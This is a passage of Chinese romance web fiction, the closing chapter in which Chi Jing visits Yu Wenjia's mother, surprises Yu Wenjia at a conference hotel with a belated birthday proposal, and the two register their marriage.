“真的不会?我看你现在就有负担。”余闻嘉把行李箱合上,拿起床上的手机,走到窗边,“别有负担,也不用管我踏不踏实。你就朝你自己的方向走,别管我。你去哪我都在这,我跟不了你,但你也丢不下我。这些话我早就跟你说过了,不记得了?” 池镜点头:“记得。” “记得就行。” “我不会丢下你。”池镜说,“永远不会。” 余闻嘉“嗯”了声,说:“我知道。” 池镜从床上坐起来,“还有个事我得说一下。” “嗯,你说。” “每次我一出差你就那么高冷干什么?” “嗯?” “跟平时两模两样的,跟我多说会儿话都不愿意。怕我觉得你太黏人了?” “是的,怕你有负担。”余闻嘉一本正经地说,“你要觉得没必要,那我就不装了。” 池镜失笑:“别装。你该黏黏。” “好。” 这一通视频电话两人打了半个小时,挂断前池镜跟余闻嘉说:“生日快乐闻嘉。不管以后我去哪儿你都不用觉得不踏实,我是你的,我永远不会丢下你。” THE END 第69章 完结章 我们属于彼此。 69 池镜两天后就回国了, 余闻嘉还在外地开会没回来。 他下午三点多下的飞机,回家收拾停当后,去了趟老宅。这次出差他去的是一个免签小岛国, 当地主要靠旅游业发展经济。参加完领事馆落成典礼,他又在当地政府的安排下在岛上游玩了两天, 还顺带买了些特产回来。他把东西给他妈和姥姥送去, 余闻嘉爷爷那边也没落下。 送完这边, 池镜给余闻嘉妈妈打了通电话。上次去送枇杷,家里就没人,池镜这次提前知会了一声。今天是休息日, 余母在家,池镜跟她通完话就开车过去了。 余母正在家做甜品,门一开,池镜就闻到了股甜甜的奶香。 “妈。”池镜叫了声,笑着进屋, 把东西拎进来,“这么香呢。” “香吧。”余母接过他手里的东西,笑盈盈道,“来的正是时候, 刚出炉的巴斯克蛋糕, 快随我去品尝一番。” 余母烤蛋糕的间隙也没闲着, 还做了会儿瑜伽,池镜进客厅看到电视机前放了条瑜伽垫。 余母让池镜去沙发上坐,没过一会儿拿了一盘切好的蛋糕过来,还有一杯玫瑰烤奶。 “敬请品尝。”余母把蛋糕和烤奶搁在桌上,还摊了下手。 池镜笑了笑:“谢谢妈。” “快尝尝味道怎么样,”余母在沙发上坐下来, “头一回做。” 池镜拿勺子?了一勺蛋糕送进嘴里,点头竖了竖大拇指:“相当美味。” 余母满脸笑意:“哎哟,夸得我都要飘了。” 池镜在余母这坐了会儿,两个人吃着蛋糕聊了会儿天。 “小镜,”余母吃了口蛋糕,问池镜:“你跟闻嘉怎么样,处得还好吗?” 池镜说:“我们处得很好。” “这事我也没问过你,就问了闻嘉……”余母话音停了停,抬眼看向池镜,“你俩现在是真好了,是不?” 池镜点了点头:“是的,妈。” 池镜的工作性质余母了解,余闻嘉的性格余母也了解。 “会觉得有压力吗?”余母问他,“跟闻嘉在一起,会不会觉得有些累。” 池镜笑着摇头:“当然不会。怎么会这么问。” 余母也笑了笑:“我怕他牵住你,让你没法像以前那样自由。我相信你也感觉得到,闻嘉非常非常依赖你,甚至可以说是依恋。不说现在,小时候就是这样,你又总迁就他,从以前迁就到现在,当初你俩结婚这事不就是你迁就他么,跟你提什么都答应……” 余母端起奶茶抿了一口,继续说着:“他对你的情感需求太高了,像鱼离不开水一样。可你的工作性质摆在那儿,你不可能时时满足他的需求。这样一来你就放不下他,就得想着怎么填补他的安全感,那你精神和心理上不就不自由了吗。” “所以我担心你跟他在一起会有负担,会累。” 池镜说:“不会。” 余母看着他。 “跟他在一起我很踏实也很安心。” 余闻嘉对池镜的情感需求确实非常高,如余母所言,就像鱼儿离不开水。但他性格和人格都很独立,他不可能让池镜觉得有负担。他带给池镜的是安稳和幸福。 “是吗,”余母微微笑着,看他的眼神很温柔,“是这样就好。” 池镜点点头:“是这样。” 余母给他续了点奶茶,笑着问他:“他现在是不是又可劲儿黏你了?” 池镜笑了声:“是。” “就知道他现在解放自我了。”当妈的还是了解儿子,“是不是挺烦人呢?” “不烦。我挺喜欢的。” “我猜是比以前更黏了吧。” 池镜笑着点了下头:“确实是。” 余母笑了下,温声道:“我想他应该是在意你很多年了,所以有点患得患失……” “以后都不会了。”池镜看着余母笑了笑,“我不会再让他觉得患得患失。” 吃完蛋糕,池镜打算走了,余母留他吃晚饭:“你别走了,留这吃晚饭,今天我做大餐。” “下次吧妈,我今天晚上有事。” “行,下次跟闻嘉一起过来。” 晚上六点,余闻嘉开完大会,跟同行的几位医生回酒店餐厅吃晚饭。明天还有半天会,他今天还回不去。 出差这两天,余闻嘉都戴着婚戒,一刻也没摘。他日常手术多,平时在医院不戴戒指,这趟出来开个会,手上的婚戒可算是被科里这帮同事注意到了。余闻嘉已婚这事科里早有风声,已经不是秘密,但倒也没谁特意来问他。 除了齐教授。 当时正准备进手术室,师徒俩在水池前刷手,齐教授冷冷地瞥一眼他爱徒,冷冷地问他什么时候结的婚。问完甩了甩手上的水,淡淡道:“我这老师当得挺失败,带你这么些年连个请柬都混不到。” 余闻嘉跟在他老师后面,嘴也有点欠:“您需要的话,回头给您补个。” 他老师回过头,斜眼看着他。 齐教授,一个看着严肃其实有点冷幽默的酷老头。他带余闻嘉好多年了,从硕士就一直带着。师徒俩一个样,都有点劲劲儿的。 余闻嘉无名指上戴着戒指,这下他已婚的事终于是得到了证实。 余闻嘉是他们科里、甚至是院里公认的帅哥,这么帅又这么优秀的男士英年早婚,多少有点让人意外。 坐对面的一个主治医看见余闻嘉手上的婚戒,吃着菜心直口快地问了句:“小余你真结婚了啊?” 余闻嘉点了下头:“嗯。” “之前听他们说我还不信呢。”他笑了笑,“你这婚结得可够早的啊,咱科里好几个住院医都还单着呢,你弯道超车啊,还没毕业呢就有家室了。” 李彻笑着说:“那也得人家家室优秀呢,不然哪能那么早就结婚。” “哟,听你这话是见过啊?” “那是自然。” 说话间,余闻嘉的手机响了。他看了眼屏幕,是池镜打来的电话。 “喂?” “回酒店了吗?”池镜在电话那头问。 “回了。” 余闻嘉在餐厅,背景音有点嘈杂,池镜问他:“你在哪?没在房间?” “在餐厅吃饭。” “酒店餐厅?” “嗯,怎么了?” 电话那边没了声音。 “镜哥?”余闻嘉正疑惑,远远地看见餐厅门口走进来一个熟悉的身影。 余闻嘉一愣,直接站了起来,旁边的人纷纷抬头看他。 他一站起来,池镜就立马看到他了。池镜穿得西装革履,捧着一束灰粉色的玫瑰,站在餐厅门口,冲他挑眉一笑,举着手机晃了晃。随后又把手机举到耳边,在电话里跟他说:“坐下吃你的。我过来。” 余闻嘉仍旧看着门口方向,众人循着他的目光转头看去。 池镜捧着束花大大方方地朝这边走来,其实他还带了个蛋糕,不方便拿,放在大堂托前台工作人员看管了。 池镜走到余闻嘉那桌,余闻嘉还站在那儿,目光钉在他脸上:“你怎么来了?” “来给你补过生日。你明天才回来,我等不急,今天就想给你补。”池镜把花递给他,“生日快乐。” 余闻嘉接过花,手碰到池镜的手,轻轻抚了一下。 池镜本来没想这么高调,打算在酒店大堂等余闻嘉吃完饭出来,后来转念一想高调就高调呗,他就是要不加掩饰地表达爱意,让余闻嘉感受到。 余闻嘉跟坐这的几个医生介绍了一下:“这位是我先生。” 池镜冲众人点头致意,礼貌一笑。 李彻看着池镜,打趣道:“你可真是……自带任意门啊?” 上次在云南碰见,这次又在这碰见。余闻嘉去哪,他这家属都能追来。 池镜笑了下:“买个票的事儿。” 李彻看了眼余闻嘉,不由道:“真有福气啊,去哪都有家属惦记着,还亲自跑过来探望。” 余闻嘉问池镜:“吃饭没?” “没。本来打算带你去外面吃,没想到你已经吃上了。”池镜过来没告诉余闻嘉,就想给他个惊喜,他看了眼余闻嘉的餐盘,已经吃得差不多了,“都快吃饱了吧?” “差不多了。”余闻嘉现在不想出去吃饭,他只想带池镜回房间,两个人单独待着,“你在这吃?给你点个餐?” “回房点吧。”池镜说。 “嗯。”余闻嘉跟几个医生打了声招呼,跟池镜一起离开了餐厅。 走到酒店大堂,池镜停了下,去前台拿了蛋糕和行李箱。花和蛋糕都是他在这边附近的花店和蛋糕店提前订的。 进了房间,余闻嘉把花和蛋糕放桌上,转身搂住他,在他嘴上亲了亲,“今天回的国?” “啊。” “我明天就回去了,你还跑这一趟,刚回来不好好休息。” “我说了我等不急,”池镜抚了抚他的后腰,“今天就要帮你补过生日。” 余闻嘉松开他,拿出手机要订餐:“想吃什么?要不还是去外面吃?” “不着急。”池镜拉着他的手腕往床边走,让他坐床上,“先让我把正事办完。” 余闻嘉坐在床边,有些疑惑地看着他。 池镜从西裤口袋里摸出一个暗红色的皮质小方盒,单膝跪地打开了盒子。 余闻嘉愣了下。 池镜浅浅笑着,注视着他,语气郑重地开口:“余闻嘉先生,请你跟我结婚。” 余闻嘉怔怔地看着他。 盒子里是一条项链,吊坠是个圆环,表面雕刻着镂空的花纹。这个圆环吊坠其实也是枚戒指盒,池镜从盒里拿出项链,拨开圆环,里面嵌着一枚银白色的素戒。 余闻嘉平时在医院不方便戴戒指,池镜专门找人定制了这款项链,戒指日常不戴可以嵌在吊坠里,当个项链戴。吊坠扣头也是设计过的,是他和余闻嘉名字开头字母的结合,上面点缀着碎钻。 虽然他们已经有一对婚戒了,但这枚戒指对池镜来说意义不一样——这是他赋予他们婚姻的新的开始。 池镜把戒指拿出来,举到余闻嘉面前,笑着说:“明天是个好日子,跟我去领证吧。” 余闻嘉垂眸看着他,看着看着眼睛就红了。他侧过头闭了闭眼,转过头来,点头说:“好。” 戒指已经做好很久了,池镜原打算余闻嘉生日那天送出去,也原打算就在这天去领证。可惜错过了。他不愿再多等两天,所以一回国就赶过来了。 “手呢。”池镜笑了笑,戒指还捏在手里,“自觉点啊。” 余闻嘉把手伸过来,池镜把那枚素戒套进了他左手无名指,跟之前那枚婚戒叠戴在一起。他送的这枚戒指更细一点,叠戴不违和,反而很好看。 余闻嘉拉池镜起来,揉了揉他的膝盖。池镜站在他身前,双手绕过他的脖子,给他戴上项链。 “你在医院戴戒指不方便,以后可以把戒指嵌在吊坠里戴着。这项链我特意找地方定制的,喜欢吗?” 余闻嘉“嗯”了声:“喜欢。” 池镜捧住他的脸,垂眸与他对视:“我给你上了两个圈,双重捆绑。从今以后,你就是彻底被我绑住了。” 余闻嘉仰头看着他。 “我说我是你的,这句话还说得不够完整——”池镜顿了片刻,凝视着他,缓缓道,“闻嘉,你也得是我的。” 池镜低下头,在他唇上轻轻一吻,“我们属于彼此。” 这一趟来,池镜把领证要用的证件都带上了,包括余闻嘉的。第二天余闻嘉开了半天会,中午跟池镜一起坐高铁回去,出了地铁站两人直接打了辆车去民政局。 两人都不是急性子,但都是行动力极强的人,要做的事就立马去做,一刻都不带耽误的。 正好余闻嘉刚开完会,穿的是白衬衫,池镜也一身正装,两个人都穿得体面正式,直接在民政局现场拍了登记要用的结婚照。 今天不是特殊的日子,又是工作日,登记领证的人不多,不需要预约。他们没等多久就叫到号了,在登记处填完申请书,签字、摁印。十五分钟后,敲好钢印的结婚证递到了他们手中。 走出民政局,池镜朝余闻嘉张开双臂,浅浅一笑:“要抱。” 余闻嘉走上前,将他拥进怀里。他侧过头,嘴唇贴在池镜耳侧,低低地叫了声“镜哥”。 “嗯。”池镜抚了抚他的头发,“在呢。” 余闻嘉闭上眼睛,紧紧搂着怀里的这个人。 良久,他才开口。 “谢谢你让我爱你。” (正文完)